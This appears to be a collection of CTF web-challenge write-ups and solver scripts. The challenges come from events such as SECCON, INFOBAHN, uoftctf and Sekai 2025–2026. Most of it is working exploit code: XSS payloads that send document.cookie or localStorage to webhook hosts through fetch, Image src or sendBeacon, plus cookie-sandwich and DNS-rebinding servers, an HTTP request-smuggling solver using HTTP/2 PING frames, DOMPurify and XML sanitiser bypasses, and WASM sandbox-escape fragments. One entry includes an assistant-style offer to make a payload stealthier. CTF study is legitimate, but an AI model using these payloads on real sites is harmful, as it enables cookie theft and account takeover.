Skulpt JS XSS python js interprenter
| Event Name | Lilac CTF 2026 |
| GitHub URL | - |
| Challenge Name | playground |
Attachments
References
explanation
核心思路
可直接粘贴的 Payload(把 URL 换成你的 webhook)
你的接收地址(例如 https://webhook.site/xxxx)
u = "https://your-webhook.site/xxxx"
payload = """x' + ((new Image()).src="%s?d="+encodeURIComponent(document.cookie), 'y') + '""" % u exec(compile("1/0", payload, "exec"))
扩展:同时带上 localStorage
u = "https://your-webhook.site/xxxx" payload = """x' + (function(){var d=document.cookie; try{d+="|"+localStorage.getItem("flag")}catch(e){} new Image().src="%s?d="+encodeURIComponent(d);return 'y';})() + '""" % u exec(compile("1/0", payload, "exec"))
使用方法
注意
需要我帮你把 payload 改成更隐蔽的(比如带上 document.body.innerText 或 localStorage 全量)也可以说。
exploit
payload = "aa' + (fetch('<http://r6ud98wu.instances.httpworkbench.com?c=>' + document.cookie), 'aa') + '"
exec(compile("0/0", payload, "exec"))
Cookie Sandwitch attack & Light DNS Rebinding attack
| Event Name | uoftctf 2026 |
| GitHub URL | - |
| Challenge Name | Unrealistic Client-Side Challenge - Flag 1 |
Attachments
References
Cookie sandwitch
<script>
const sleep = t => new Promise(r => setTimeout(r, t));
(async ()=> {
const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiaWF0IjoxNzY4MDE3MTEwLCJleHAiOjE3NjgwMjQzMTB9.VBd77rx24B8UxtfiMNVuZKfo2lB8_T5zo5zxReUYXdU";
document.cookie=`session=${token};Domain=7chn.me;Path=/flag`;
let w1 = open("<http://localhost.7chn.me:5000/flag>");
document.cookie=`motd="%3Cimg%20src='//foobar.n.7chn.me/?v=;Domain=7chn.me;Path=/motd`;
await sleep(1000);
document.cookie=`z='%3E";Domain=7chn.me;Path=/`;
w2 = open("<http://localhost.7chn.me:5000/motd>");
})();
</script>
localhost.7chn.me -> 127.0.0.1
foobar.n.7chn.me -> your server
Light DNS Rebinding
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
function postWindow(url, data, targetName) {
const form = document.createElement("form");
form.action = url;
form.method = "POST";
form.target = targetName;
form.style.display = "none";
for (const key in data) {
const input = document.createElement("input");
input.type = "hidden";
input.name = key;
input.value = data[key];
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
const u = "u" + Math.random().toString(36).slice(2);
const p = "p" + Math.random().toString(36).slice(2);
async function attempt() {
window.open("about:blank", "w1");
await sleep(100);
window.open("/cut", "w1");
window.open("about:blank", "w2");
await sleep(1000);
postWindow("/register", { username: u, password: p }, "w2");
window.open("about:blank", "w3");
await sleep(500);
postWindow("/login", { username: u, password: p }, "w3");
window.open("about:blank", "w4");
await sleep(500);
window.open("/flag", "w4");
// reset iptable and reset server here!
window.open("about:blank", "w5");
await sleep(3000);
window.open("/steal", "w5");
await sleep(5000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return ("cut", 200)
@app.get("/steal")
def steal():
print("Cookie header =", request.headers.get("Cookie"))
return ("steal", 200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)
"""
- report url:
http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000
- session:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMCIsImlhdCI6MTc2ODA1ODczNCwiZXhwIjoxNzY4MDY1OTM0LCJmbGFnIjoidW9mdGN0ZntoNHYzX3kwdXI1M2xmXzRfczRuZHcxY2h9In0.SC70s-ve8X44OuHcctrDAIEKjIqEA4LrBGjqxWuY1cw
- flag
uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}
3rd solve
"""
for challenge v2
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
async function attempt() {
await sleep(100);
window.open("/cut", "w1");
await sleep(1000);
await sleep(500);
await sleep(500);
window.win = window.open("/motd", "w4");
// reset iptable and reset server here!
await sleep(3000);
window.open("/steal", "w5");
await sleep(5000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5001 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return """
<!DOCTYPE html>
<html>
<body>
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
(async () => {
while (true) {
await sleep(500);
console.log('checking...');
if (window.opener.window.win) {
console.log('win');
await sleep(1000);
navigator.sendBeacon('https://i07rtfvt.requestrepo.com', window.opener.window.win.document.body.innerHTML.toString())
break;
}
}
})();
</script>
</body>
</html>
"""
@app.get("/steal")
def steal():
print("Cookie header =", request.headers.get("Cookie"))
return ("steal", 200)
# http://127.0.0.1:5000@make-95.216.145.211-and-127-0-0-1-rr.1u.ms:5001
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False, use_reloader=False)Null initiator on disk cache to bypass single name domain.
| Event Name | SECCON Quals 2025 |
| GitHub URL | - |
| Challenge Name | framed-xss |
Attachments
References
i was definitely wrong. The A=>B->A (we abuse this relationship to cache our payload and trigger XSS) is strictly considered same site (https://github.com/httpwg/http-extensions/issues/889#issuecomment-749824705) by chromium so the initiator doesn't matter; on the other side page.goto()'s initiator is null so the top-level navigation is also considered same-site (https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=760;drc=5cd770be9d0f5ef818ec86cde38154f1786bdd0d - thanks <@151811111279132672> 🐐 )
from flask import *
app = Flask("x")
REMOTE = "http://web:3000"
PAYLOAD = "<svg/onload=alert(1)>"
@app.after_request
def add_headers(response):
response.headers["Cache-Control"] = "no-store, no-cache"
return response
count = 0
@app.get("/")
def index():
global count
count += 1
if count == 1:
return """
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
async function exploit() {
payload = `<svg/onload=alert(1)>`
win = open("/redir?html=" + encodeURIComponent(payload), "_blank")
await sleep(2000);
location = URL.createObjectURL(new Blob([`
<script>setTimeout(()=>history.back(),500)<\/script>
`], { type: "text/html" }))
}
exploit();
</script>
"""
if count == 2:
return redirect(f"{REMOTE}/view?html={PAYLOAD}", 307)
count = 0
return "wtf"
@app.get("/redir")
def redir():
return redirect(f"{REMOTE}/?html={PAYLOAD}", 307)
app.run("0.0.0.0", 4444)
another solver
import fastify from "fastify";
import assert from "node:assert/strict";
const BOT_BASE_URL = process.env.BOT_BASE_URL ?? "http://localhost:1337";
const CONNECTBACK_URL = process.env.CONNECTBACK_URL ?? assert.fail("No URL");
const PORT = "8080";
const app = fastify();
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const reportUrl = (url) =>
fetch(`${BOT_BASE_URL}/api/report`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ url }),
}).then((r) => r.text());
const html = `
<script>navigator.sendBeacon("${CONNECTBACK_URL}/flag", document.cookie)</script>
`.trim();
let first = true;
app.get("/", async (req, reply) => {
// Trick to bypass `is-cross-site-main-frame-navigation`
// ref. https://chromestatus.com/feature/5190577638080512
if (first) {
first = false;
reply
.type("text/html; charset=utf-8")
.header("Cache-Control", "no-store")
.send(`<script>open("/child?html=${encodeURIComponent(html)}")</script>`);
} else {
reply.redirect(`http://web:3000/view?html=${encodeURIComponent(html)}`);
}
});
app.get("/child", async (req, reply) => {
reply.type("text/html; charset=utf-8").send(
`
<script type="module">
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const html = new URLSearchParams(location.search).get("html");
await sleep(700);
opener.location = "http://web:3000/?html=" + encodeURIComponent(html);
await sleep(700);
opener.location = "about:blank";
await sleep(700);
opener.history.go(-2);
</script>
`.trim()
);
});
app.post("/flag", async (req, reply) => {
// You got a flag!
const flag = req.body;
console.log({ flag });
process.exit(0);
});
app.listen({ port: PORT, host: "0.0.0.0" }).then(async (address) => {
await sleep(3_000);
await reportUrl(CONNECTBACK_URL);
assert.fail("Failed");
});Bypassing the JSON Import (The "Hook")
| Event Name | SECCON Quals 2025 |
| GitHub URL | - |
| Challenge Name | dummyhole |
Attachments
References
if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
}
const postId = uuidv4();
const command = new PutObjectCommand({
Bucket: BUCKET,
Key: postId,
Body: file.buffer,
ContentType: file.mimetype,
});
writeup
First step is to bypass the iframe checks to control the src of the iframe. The site does import(\/api/posts/${postId}`, { with: { type: "json" } }); where we control postId so we can client-side path traversal to point to any URL on the site. If we can then upload arbitrary JSON onto the site then we can control postData`.
We can upload a file with an arbitrary content-type header but it must start with image/jpg or image/png. If we use one of these content-types the import won’t work. But we can bypass the JSON check by using mimetype image/png+json , and then use client-side path traversal to import our uploaded JSON:
import requests
import secrets
import json
TARGET = "http://dummyhole.seccon.games"
username, password = secrets.token_hex(16), secrets.token_hex(16)
s = requests.Session()
r = s.post(f"{TARGET}/register", data={"username": username, "password": password})
print(r.text)
r = s.post(f"{TARGET}/login", data={"username": username, "password": password})
print(r.text)
session_id = r.cookies.get("session")
print(session_id)
r = s.post(f"{TARGET}/upload", data={"title[default]": "abc", "description": "def"}, files={"image": (
"test.png", json.dumps({"title": "abc", "description": "def", "image_url": ".toilet322.messwithdns.com"}), "image/png+json"
)})
data = r.json()
img_id = data["id"]
print(img_id)
print(f"{TARGET}/posts/?id=../../images/{img_id}")
print(f"../../images/{img_id}")Now that we control image_url , the iframe src is set to ${location.origin}${postData.default.image_url} . location.origin does not have a slash so we can use @ or . to point the iframe src to any domain that we want, including our own.
Next we want to get XSS on the site. There’s a fallback system in the logout that we can abuse:
app.post('/logout', requireAuth, (req, res) => {
const sessionId = req.cookies.session;
sessions.delete(sessionId);
res.clearCookie('session');
const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';
const logoutPage = path.join(__dirname, 'public', 'logout.html');
const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
.replace('<POST_ID>', encodeURIComponent(post_id))
.replace('<FALLBACK_URL>', encodeURIComponent(fallback_url));
res.send(logoutPageContent);
});<script>
setTimeout(() => {
const fallbackUrl = decodeURIComponent("<FALLBACK_URL>");
if(!fallbackUrl) {
location.href = "/";
return;
}
location.href = fallbackUrl;
}, 5000);
const postId = decodeURIComponent("<POST_ID>");
location.href = postId ? `/posts/?id=${postId}` : "/";
</script>We can make a POST request with fallback_url = javascript:.... But there are two requirements to exploit this:
/posts/?id=${postId} needs to failThis is probably a cheese but we bypass the first requirement by opening a new tab from our iframe, and then doing a <form> POST using LAX+POST to /logout, since the admin bot visits our site logged in.
Then we bypass the second requirement by stalling the request using the connection pool (see dicectf burnbin):
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://web/logout" target="x">
<input name="fallback_url" value="javascript:window.opener.postMessage({cookie:document.cookie},'*')">
<input name="post_id" value="a">
</form>
<script>
const controllers = [];
const next = (() => {
let i = 0;
return () => `http://${i++}.sleepserver.com/block/${i}`;
})();
const block = () => {
const url = next();
const controller = new AbortController();
controllers.push(controller);
fetch(url, { signal: controller.signal });
};
const unblockOne = () => {
const controller = controllers.shift();
controller.abort();
};
const unblock = () => {
controllers.forEach(controller => controller.abort());
controllers.length = 0;
};
const reblock = () => {
unblockOne();
block();
};
const start = async () => {
for (let i = 0; i < 256; i++) block();
await new Promise(r => setTimeout(r, 1000));
document.querySelector('form').submit();
await new Promise(r => setTimeout(r, 1000));
reblock();
window.onmessage = (e) => {
if (e.data.cookie) {
unblock();
navigator.sendBeacon('//leakbin', JSON.stringify(e.data));
}
}
};
start();
</script>
</body>
</html>The above exploit stalls all 256 sockets for the connection pool. Then it submits the <form> to /logout. We quickly unblock and block another socket so just the request to /logout goes through, but not the postid navigation. Since this navigation stalls, after 5 seconds pass, the fallback code triggers, using our javascript redirect and giving us XSS to leak the cookie.
Gain XSS using Embed tag + Code attribute
| Event Name | Amateurs CTF 2025 |
| GitHub URL | - |
| Challenge Name | Blessed |
Attachments
References
author solve
my solve for blessed:
<embed code="https:your.webhook" type="text/ht ml"></embed>
and host is just
<script>
fetch('<http://127.0.0.1:20070/flag>')
.then(r => r.text())
.then(flag => {return fetch('<https://my-webhook>' + btoa(flag))})
</script>
code is a weird feature exsit in chromium and not documented at all https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/html/html_embed_element.cc;l=107
multi-step Request Smuggling attack combined with an HTTP/2 PING frame reflection to achieve a Cross-Site Scripting (XSS)
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | Logo |
Attachments
References
writeup
Description
This is our logo
Hints
Hint1
Trying to bypass Basic Auth?? → READ THE CHALLENGE DESCRIPTION!!!!!!!!!!!!!!!!!!!!! I hope you’ve already seen my bug report. We don’t see Quart/Hypercorn very often in CTFs, right? How do they differ from Flask/Werkzeug (Gunicorn)?
Hint2
lmao lmao lmao
Writeup
Step 1: Request smuggling
This is a 1-day challenge based on the vulnerability for Vibe.d I reported. The HTTP parser used in Vibe.d has a vulnerability which prioritizes Content-Length header over Transfer-Encoding header, which is against RFC 9112 § 6.3. This causes request smuggling when Vibe.d is used as a proxy. (If you are not familiar with request smuggling, you should checkout this blog and video.)
The POC in the github advisories looks like this.
GET / HTTP/1.1
Host: localhost
Content-Length: 65
Transfer-Encoding: x, chunked
0
GET /secret HTTP/1.1
Host: localhost
Content-Length: 0
This doesn't work in this challenge, so we need to understand how the request smuggling works, especially Transfer-Encoding: x, chunked part.
When you send a request to Vibe.d proxy, the server first parses the HTTP, then sends the request using the HTTPClient class. All headers in the original request will be directly passed to the client. The client determines the streaming method based on these headers; if the Transfer-Encoding header is chunked, it uses the chunked stream, and send directly otherwise.
In order for the request smuggling work, we want to send Transfer-Encoding header which will be recognized as a chunked stream by the backend, but we want the client to send the stream directly at the same time.
In the POC, the value x, chunked worked because the client uses the chunked stream only if it matches chunked exactly (see source code), while hyper accepts comma-separated values. However, Hypercorn sends 501 Not Implemented if it sees the value isn't exactly chunked, so this doesn't work.
The workaround is that Hypercorn (or h11) parses the Transfer-Encoding header case-insensitively, while Vibe.d doesn't. Hence, the header value like Chunked will make Vibe.d to send the request body in normal steam, while parsed as chunked stream in Hypercorn.
Step 2: Sending smuggled response to the bot.
So how does this relate to XSS exploitation of the bot? The secret is actually written in the GitHub advisory:
vibe.http.proxy attempts to reuse the same backend connection when possible, even if the original request was made by a different client. Thus, the response to a smuggled request may be delivered to a different user. This can lead to session fixation, malicious redirects to phishing pages, or the escalation of Self-XSS into Stored-XSS.
Which means we can change the response to the bot in the following steps:
Step 3: Making use of HEAD request
Breaking the response for the bot sounds like progress, but the backend server only have one route /, and we can't control the response body from the backend.
But what if we could make the entire TCP stream as the response body? That doesn't immediately make an XSS payload, but there will be more room to research, right?
We can actually achieve this by sending HEAD request. When you send HEAD request to a server, the server returns the Content-Length of the corresponding GET response, but does not return a body. We can make use of this as follows:
- (Part A) Normal GET request
- (Part B) HEAD request to
/ - (Part C) A request (or requests) that contains XSS payload in its TCP stream (not necessarily a response body).
Content-Length header without response body, but the proxy expects a response body because the request for step 3 is a GET request. Consequently, the proxy treats the response for Part C as it's response body.Step 4: Making use of HTTP/2
We can now include the whole TCP stream as a response body. For example, if we can include an XSS payload in a response header, then it will be parsed as a response body instead and causes XSS. Unfortunately, we can hardly control the response header in Hypercorn either.
If we can't find a gadget using HTTP/1.1, what about HTTP/2? Hypercorn supports HTTP/2 natively, and supports HTTP/2 with Prior Knowledge as well. This is, when you send the following request to the server:
PRI * HTTP/2.0
SM
the following request will be treated as HTTP/2. Surprisingly, this can be done even if HTTP/1.1 requests were sent beforehand in the same TCP connection. (I'm not sure if this behavior in Hypercorn should be considered as a bug, vulnerability or just a design.)
Then, we can use PING frame:
In addition to the frame header, PING frames MUST contain 8 octets of opaque data in the frame payload. A sender can include any value it chooses and use those octets in any fashion. Receivers of a PING frame that does not include an ACK flag MUST send a PING frame with the ACK flag set in response, with an identical frame payload.
Which means, if we send <script> in the frame payload, the server will respond with <script> in frame payload as well. The whole response frame looks like:
\\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00<script>
Then, it will be parsed as HTML thanks to Step 3.
Step 5: XSS puzzle
We can somewhat control the response body now, but we only have 8 bytes. We can send multiple PING frames, but junk (\\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00) will be inserted between each 8 bytes. Can we make XSS payload in this condition?
<script> tag doesn't work because the closing tag </script> contains 9 bytes, and we cannot modify this. If we are going to use DOM event, we need the length of the event name to be less than 6 because onXXX=\` is 8 bytes.
Looking at the PortSwigger XSS cheat sheet to find such event, we can see that there's 2 of such events, which is onend and oncut. oncut requires user interaction, so we can't use it here. onend event with <set> tag looks like this in the cheat sheet:
<svg><set onend=alert(1) attributename=x dur=1s>
Fortunately, it looks like we don't need attributename attribute for this to work, so the attribute that we need is dur=1s. All <svg>, <set , dur=1s is under 8 bytes, so we can use this.
Lastly, make sure that the junks are between /*...*/ or \...`` in javascript so that it doesn't raise error. The payload will look like the following:
ATTACKER_WEBHOOK = "..."
payload = f"document.location.assign(`{ATTACKER_WEBHOOK}?`+document.cookie)"
payloads = [
b"<svg> ",
b"<set ",
b" dur=1s ",
b" onend=`",
b"`;e=/*..",
b"*/eval/*",
b"*/;e(/*.",
*[f"*/'{p}'+/*".encode() for p in payload],
b"*/''/*..",
b"*/) >"
]
Final payload
See solver.py
solver
from pwn import *
from hpack import Encoder
import requests
from hyperframe import frame
import base64
BOT_URL = "http://84fd9a34bfcf4cd2a3d21aa65d4316e11.logo.infobahnc.tf:8000/"
PROXY_HOST = "logo.infobahnc.tf"
PROXY_PORT = 20002
PROXY_USERNAME = "logo"
PROXY_PASSWORD = "84fd9a34bfcf4cd2a3d21aa65d4316e1"
ATTACKER_WEBHOOK = "http://n.regularofvanilla.com/"
io = remote(PROXY_HOST, PROXY_PORT)
settings_stream = frame.SettingsFrame(0, {
frame.SettingsFrame.MAX_CONCURRENT_STREAMS: 100,
frame.SettingsFrame.INITIAL_WINDOW_SIZE: 0x10000,
frame.SettingsFrame.ENABLE_PUSH: 0
}).serialize()
h2_payload = (
b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + # Magic
settings_stream
)
payload = f"document.location.assign(`{ATTACKER_WEBHOOK}?`+document.cookie)"
payloads = [
b"<svg> ",
b"<set ",
b" dur=1s ",
b" onend=`",
b"`;e=/*..",
b"*/eval/*",
b"*/;e(/*.",
*[f"*/'{p}'+/*".encode() for p in payload],
b"*/''/*..",
b"*/) > "
]
for payload in payloads:
h2_payload += frame.PingFrame(0, payload).serialize()
enc = Encoder()
headers = [
(':method', 'GET'),
(':scheme', 'https'),
(':path', f'/'),
(':authority', 'example.com')
]
encoded = enc.encode(headers)
headers_stream = frame.HeadersFrame(1, encoded)
headers_stream.flags.add("END_STREAM")
headers_stream.flags.add("END_HEADERS")
h2_payload += headers_stream.serialize()
smuggled = f"""
HEAD / HTTP/1.1
Host: example.com
Content-Length: 0
""".strip().replace("\n", "\r\n").encode() + b"\r\n\r\n" + h2_payload
io.send((f"""
GET /aaa HTTP/1.1
Host: example.com
Content-Length: {len(smuggled) + 5}
Transfer-Encoding: Chunked
Authorization: Basic {base64.b64encode(f'{PROXY_USERNAME}:{PROXY_PASSWORD}'.encode()).decode()}
0
%s
""".strip().replace("\n", "\r\n")).encode() % smuggled)
print(io.recvall(timeout=3))
requests.post(BOT_URL)Changing a bit of dompurifed text after sanitize can break the sanitize text
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | Sandbox Viewer |
Attachments
References
source
app.get( "/translate", async (req, res ) => {
let text = req.query.txt ?? 'Say something!';
const window = new JSDOM('').window;
const dp = DOMPurify(window);
// Don't be naughty
text = dp.sanitize(text);
console.log("sanitized");
console.log(text);
text = text.toUpperCase();
console.log(text);
text = text.replace( /\BA/g, '4' );
text = text.replace( /\BB/g, 'I3' );
text = text.replace( /\BE/g, '3' );
text = text.replace( /\BH/g, '\\-\\' );
text = text.replace( /\BL/g, '7' );
text = text.replace( /\BO/g, '0' );
text = text.replace( /\BS/g, '5' );
text = text.replace( /\BU/g, 'v' );
text = text.replace( /\BW/g, 'vv' );
console.log(text);
res.status(200).send( `
<!doctype html><html><head>
<meta charset="UTF-8">
<title>Your message</title>
<style> html { background: black; color: #0b0; color-scheme: dark } </style>
<body>
<h1>MSG</h1>
<div style="padding:1em; margin:1em; border: thin dashed blue; font-family: monospace">
${text}
</div>
</body>
</html>
`);
} );
solution
x<style><ß p="</style><p name="><script src='http://1pc.tf'></script>">
changing something in the dompurify after processing it can lead to xss
bot-1 | Listening on port 1337
bot-1 | sanitized
bot-1 | x<style><ß p="</style><p name="><script src='http://1pc.tf'></script>">
bot-1 | </p>
bot-1 | X<STYLE><SS P="</STYLE><P NAME="><SCRIPT SRC='HTTP://1PC.TF'></SCRIPT>">
bot-1 | </P>
bot-1 | X<STY73><S5 P="</STY73><P N4M3="><SCRIPT SRC='HTTP://1PC.TF'></SCRIPT>">
bot-1 | </P>
Cloudflare blocking technique with referrerpolicy="unsafe-url"
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | Sandbox Viewer |
Attachments
References
source code
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Sandbox Viewer</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
:root {
color-scheme: dark;
}
html,
body {
margin: 0;
padding: 0;
height: 100%;
}
body {
background: linear-gradient(to top, #60efff 0%, #1976d2 50%, #0061ff 100%);
color: #f0f0f0;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
line-height: 1.5;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
}
h1 {
margin-top: 100px;
margin-bottom: 40px;
font-size: 48px;
color: #ffffff;
text-shadow: 0 4px 8px rgba(0, 0, 0, 0.4);
text-align: center;
font-weight: 600;
}
main {
max-width: 800px;
width: 100%;
padding: 16px;
background-color: rgba(255, 255, 255, 0.1);
border-radius: 8px;
backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.2);
}
#safe {
display: block;
width: 90%;
max-width: 800px;
height: 400px;
margin: 20px 0;
border: 2px solid rgba(255, 255, 255, 0.3);
border-radius: 8px;
background-color: white;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.3);
z-index: 100;
}
a {
color: #9bd;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
footer {
text-align: center;
color: #ddd;
font-size: 12px;
padding: 12px 0 24px;
text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}
code {
font-family: ui-monospace, "SFMono-Regular", Menlo, Consolas, "Liberation Mono", monospace;
background-color: rgba(0, 0, 0, 0.4);
padding: 2px 6px;
border-radius: 4px;
border: 1px solid rgba(255, 255, 255, 0.1);
}
</style>
</head>
<body>
<h1>Sandbox Viewer</h1>
<main>
</main>
<iframe id="safe" sandbox="allow-same-origin" srcdoc="<h1>Hello</h1>"></iframe>
<script>
let key = new URLSearchParams(location.search).get('key') || '';
if (key.length > 200) {
key = key.substring(0, 200);
}
let iframe = document.getElementById('safe');
iframe.srcdoc = key;
iframe.onload = () => {
iframe.remove();
}
function appendUnsafe(param) {
const d = document.createElement('div');
d.innerHTML = param;
document.body.appendChild(d);
}
const s = document.createElement('script');
s.src = 'https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js';
s.referrerPolicy = 'no-referrer';
setTimeout(() => {
s.onload = () => {
if (window.DOMPurify) {
const clean = window.DOMPurify.sanitize(key);
appendUnsafe(clean);
}
};
s.onerror = () => {
appendUnsafe(key);
};
document.head.appendChild(s);
}, 1000);
</script>
</body>
solution
<img src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js" referrerpolicy="unsafe-url" onerror="alert(1)">when the first request fires it attaches the referer header which includes the xss payload, that gets caught by cloudflare - but it still caches that js file
when it does the second request, it takes the script from disk cache, which is invalid, reaches onerror ..
Still kind of half asleep, but tl;dr for xml-translate php doesnt handle quotes in attributes correctly in xml_default handler
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | XML Translator |
Attachments
References
source code
<?php
if ( isset( $_REQUEST['xml'] ) ) {
header( 'Content-Type: application/xml; charset=UTF-8' );
$x = xml_parser_create_ns( 'utf-8' );
xml_set_default_handler( $x, function( $p, $data ) { echo $data; } );
xml_set_character_data_handler( $x, function( $parser, $data ) {
echo htmlspecialchars(
str_replace(
['E', 'K', 'C', 'A', 'S', 'I', 'M'],
[ '3', '>-', '<', '4', '5', '1', '/V\\' ],
strtoupper( $data )
)
);
});
xml_set_start_namespace_decl_handler( $x, function( $parser, $prefix, $uri ) {
die( "<!-- No namespaces allowed. Exiting -->" );
} );
xml_set_processing_instruction_handler( $x, function( $parser, $target, $data ) {
if ( $target === 'xml-stylesheet' ) {
echo "<!-- XML is already pretty enough -->";
} else {
echo "<?$target $data?>";
}
} );
if ( !xml_parse( $x, $_REQUEST['xml'], true ) ) {
@header( 'HTTP/1.1 500 error' );
@header( 'Error: ' . xml_error_string( xml_get_error_code( $x ) ) );
echo '<!-- Error: ' . xml_error_string( xml_get_error_code( $x ) ) . ' -->';
}
} else {
?>
<!doctype html>
<html>
<head>
<title>1337 XML converter</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<h1>XML 1337 Converter</h1>
<p>
Wish your XML files were cooler? Wait no more with our all new 1337 converter for XML files. We'll leave the structural elements of the file alone and just convert the text content.
</p>
<label>XML:</label><br>
<form action="/" method="POST">
<textarea name="xml" id="xml" cols="80" rows="15" placeholder="<?xml version="1.0"?>" required>
</textarea>
<br>
<input type="submit" value="1337-ify">
</form>
<br><a href="https://xml-translator-bot-web.challs2.infobahnc.tf">Admin bot</a>
</body>
</html>
<?php
}
solution
Still kind of half asleep, but tl;dr for xml-translate php doesnt handle quotes in attributes correctly in xml_default handler
import httpx
import asyncio
import html
URL = "http://1pc.tf:8080/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def xml(self, xml: str) -> str:
return self.c.post("/", data={"xml": xml})
class API(BaseAPI):
...
async def main():
api = API()
injection = """ "><payload xmlns:x="http://www.w3.org/1999/xhtml">
<x:script>alert('XSS in XML Page!')</x:script>
</payload></note><note x=" """
injection = html.escape(injection)
payload = f"""<note x='{injection}'></note>"""
print(payload)
res = await api.xml(payload)
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
BFCache in iframe sandbox
| Event Name | QnQ CTF 2025 |
| GitHub URL | - |
| Challenge Name | secure-letter-revenge |
Attachments
Our exploit uses these steps:
<a id="cfg"></a> <a id="cfg" name="analyticsURL" href="attacker.com"></a>
history.back() to trigger the disk cache.We will host the following exploit:
<script>
const win = window.open("http://web:3001/?letter=%3Ca%20id=%22cfg%22%3E%3C/a%3E%20%3Ca%20id=%22cfg%22%20name=%22analyticsURL%22%20href=%22{ATTACKER-SERVER-WITH-XSS-PAYLOAD}%22%3E%3C/a%3E&updateLetter=true");
setTimeout(() => {win.location.href = "https://sameOrigin/lol"},4000)
// here you need to use the same origin url as the one where you are hosting the exploit to be able to do history.back because of SOP
setTimeout(()=>{win.history.back()},6000)
</script>
Send the url where you hosted your exploit to the bot, wait a few sec... and voila the flag is ours!
I hope you enjoyed the challenge, the writeup and learned something new!
WEBASM Escape and CSP bypass to steal cookie
| Event Name | Project Sekai CTF 2025 |
| GitHub URL | https://github.com/project-sekai-ctf/sekaictf-2025/ |
| Challenge Name | Captivating Canvas Contraption |
Attachments
chat 1. i got access to the loadWasm func without window though which was fun 2. From prepareError and instance?
(table $deArrayValue 1 externref)
(func $deArrayHelper (export "deArrayHelper") (param externref)
i32.const 0
local.get 0
table.set $deArrayValue
)
(func $deArray (export "deArray") (param externref) (result externref)
local.get 0
ref.func $deArrayHelper
call $ObjectF
call $groupBy
drop
i32.const 0
table.get $deArrayValue
)
(func $getCaller (export "getCaller") (param externref) (result externref)
(local $rp externref)
(local $caller externref)
(local $str_enumerable externref)
(local $str_get externref)
(local $bool_true externref)
(local $lol externref)
local.get 0
local.tee $rp
call $getPrototypeOf
i32.const 8
call $getPropObjVal
local.tee $caller
i32.const 2
call $getPropStr
local.tee $str_enumerable
drop
local.get $caller
i32.const 0
call $getPropStr
local.tee $str_get
drop
local.get $caller
i32.const 3
call $getPropObjVal
local.tee $bool_true
drop
local.get $caller
local.get $str_enumerable
local.get $bool_true
call $definePropertyRef
drop
local.get $rp
i32.const 0
local.get $caller
call $definePropertyI32
call $Object.values
local.tee $lol
call $deArray
)
